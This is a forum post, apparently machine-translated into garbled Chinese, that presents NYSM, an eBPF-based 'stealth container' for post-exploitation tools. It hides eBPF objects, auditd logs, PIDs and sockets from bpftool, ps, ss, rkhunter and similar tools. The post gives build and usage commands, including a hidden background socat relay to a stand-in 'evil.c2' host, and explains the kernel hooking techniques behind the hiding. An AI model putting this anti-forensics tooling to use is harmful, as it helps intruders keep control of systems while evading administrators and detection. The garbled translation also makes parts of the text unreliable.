taibeihacker
Moderator
隐形后爆炸后容器。
Introduction
随着基于EBPF的进攻工具的普及,从凭证钢人到隐藏自己的PID的rootkits,我们的想法提出了一个问题:是否有可能在自己的眼中使EBPF看不见?从那里开始,我们创建了NYSM,这是EBPF隐形容器手段,使进攻工具在系统管理员的雷达下飞行,不仅是通过隐藏EBPF,而且还要多:bpftool bpflist-bpfcc ps top sockstat s rkhunter chkrootkit LSOF AUDITD等.所有这些工具都对通过NYSM的情况视而不见。它隐藏了:
新的EBPF程序新的EBPF映射️新的EBPF链接新审核生成日志新PIDS新插座Warning此工具简单地证明了EBPF功能。这并不意味着详尽。然而,拉动请求非常欢迎。
Installation
010-110 SUDO APT安装Git Make Pkg-Config libelf-dev-dev clang llvm llvm bpftool -yRequirements
cd ./nysm/src/BPFTool BTF转储文件/sys/kernel/btf/vmlinux格式c vmlinux.h
Linux headers
cd ./nysm/src/制造
Build
NYSM是一个简单的程序,可以在预期的命令:之前运行USAGE: NYSM [option .]命令
隐形EBPF容器。
-d, - 在后台运行命令
-r,-rm执行后的自我破坏
-v, - verbose产生详细输出
-h, - 螺旋显示此帮助
- 使用简短的用法消息
Usage
运行一个隐藏的Bash:./nysm bash运行隐藏的SSH并删除./nysm:
./nysm -r ssh user@domain以守护程序运行隐藏的socat,然后删除./nysm:
./nysm -dr socat TCP4-LISTEN:80 TCP4:evil.c2:443
Examples
How it works
As eBPF cannot overwrite returned values or kernel addresses, our goal is to find the lowest level call interacting with a userspace address to overwrite its value and hide the desired objects.要将NYSM事件与其他事件区分开,一切都在一个分开的PID名称空间内运行。
In general
bpftool具有某些功能NYSM想要逃避: BPFTool Prog列表,BPFTool Map List和BPFTool链接列表。作为任何EBPF程序,BPFTool都使用BPF()系统调用,更具体地说是BPF_PROG_GET_NEXT_ID,BPF_MAP_GET_GET_NEXT_ID和BPF_LINK_GET_GET_NEXT_ID命令。这些调用的结果存储在ATTR参数指向的用户空间地址中。
要覆盖UATTR,在BPF()条目上设置了一个跟踪点,以将尖锐的地址存储在地图中。完成后,它将等待BPF()退出跟踪点。当存在BPF()时,NYSM可以通过BPF_ATTR结构读写。在每个BPF _*_ get_next_id之后,BPF_ATTR.START_ID被BPF_ATTR.NEXT_ID替换。
为了隐藏特定的ID,它检查BPF_ATTR.NEXT_ID并将其替换为NYSM中未创建的下一个ID。
程序,地图和链接ID是从Security_bpf_prog(),Security_bpf_map()和BPF_LINK_PRIME()收集的。
Hide eBPF objects
AUDITD从RecVfrom()接收其日志,该日志将其消息存储在缓冲区中。如果收到的消息是由NYSM进程通过Audit_log_end()生成的,则它将其NLMSGHDR标头中的消息长度替换为0。
Hide Auditd logs
用EBPF隐藏PID并不是什么新鲜事物。 NYSM通过更改上一个记录的长度来隐藏/proc中的新alloc_pid()pids。由于GetDents64()需要循环浏览其所有文件,因此可以轻松达到EBPF指令限制。因此,NYSM在到达之前使用尾声。
Hide PIDS
隐藏插座是一个大词。实际上,打开的插座已经被许多工具隐藏了,因为它们无法在/proc中找到该过程。尽管如此,SS使用socket()与netlink_sock_diag标志返回所有当前打开的插座。之后,SS在消息缓冲区中通过RECVMSG()接收结果,而返回的值是所有这些消息组合的长度。在这里,应用与PID相同的方法:上一条消息的长度被修改以隐藏NYSM插座。
这些是从连接()和bind()调用中收集的。
Hide sockets
即使尽力而为,NYSM仍然有一些局限性。每个不关闭文件描述符的工具都会在打开时发现创建的NYSM进程。例如,如果./nysm bash在顶部之前运行,则过程将不会显示。但是,如果在TOP仍在运行时从该BASH实例创建另一个过程,则将发现新的过程。插座和nethogs等工具也会出现同样的问题。
内核logs: dmesg和/var/log/kern.log,消息nysm [pid]正在使用bpf_probe_write_user helper安装程序,该程序可能会损坏用户内存!由于NYSM运行中的EBPF验证者,将弹出几次。
将许多写入文件中的痕迹留在挂钩read()和write()时将太重(但仍然可能)。例如/proc/net/tcp或/sys/kernel/debug/tracing/enabled_functions。
隐藏SS RECVMSG可能具有挑战性,因为一个新的插座可以在缓冲区的开头弹出,而NYSM不能使用前面的记录隐藏它(这不适用于PID)。快速修复可能是在第一个和下一个合法插座之间切换位置,但是如果插座本身在缓冲区中,该怎么办?因此,NYSM用硬编码值修改了第一个套接字信息。
应避免使用NYSM子进程的任何类型的BPF _*_ GET_NEXT_ID标志运行BPF(),因为它将隐藏每个非NYSM EBPF对象。
当然,其中许多限制必须具有自己的解决方案。同样,拉动请求非常受欢迎。